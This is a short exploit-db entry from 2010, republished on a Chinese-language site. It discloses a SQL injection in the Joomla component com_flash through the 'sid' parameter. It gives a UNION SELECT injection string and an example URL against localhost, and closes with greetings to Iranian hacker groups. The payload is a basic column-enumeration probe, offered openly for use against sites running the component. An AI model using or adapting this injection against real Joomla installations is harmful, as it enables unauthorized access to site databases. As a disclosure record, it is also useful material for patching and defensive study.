Joomla! Component com_flash – SQL Injection

  • 作者: DevilZ TM
    日期: 2010-03-22
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/11844/
  • # Title : Joomla Component com_flash SQL Injection Vulnerability
    # Author: DevilZ TM
    # Data: 2010-03-22
    
    [~]######################################### InformatioN #############################################[~]
     
    [~] Title : Joomla Component com_flash SQL Injection Vulnerability
    [~] Author: DevilZ TM By D3v1l
    [~] Homepage: http://www.DEVILZTM.com
    [~] Email : Expl0it@DevilZTM.Com
    [~] Contact : D3v1l.blackhat@yahoo.com
     
    [~]######################################### ExploiT #############################################[~]
     
    [~] Vulnerable File :
     
    http://127.0.0.1/index.php?option=com_flash&sid=[SQL]
     
    [~] ExploiT :
     
    -1+UNION+SELECT+1,2,3,4,5,6--
     
    [~] Example :
     
    http://127.0.0.1/index.php?option=com_flash&sid=-1+UNION+SELECT+1,2,3,4,5,6--
    
     
    [~]######################################### ThankS To ... ############################################[~]
     
    [~] Special Thanks To My Best FriendS :
     
    Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS
     
    [~] IRANIAN Young HackerZ
     
    [~]######################################### FinisH :D #############################################[~]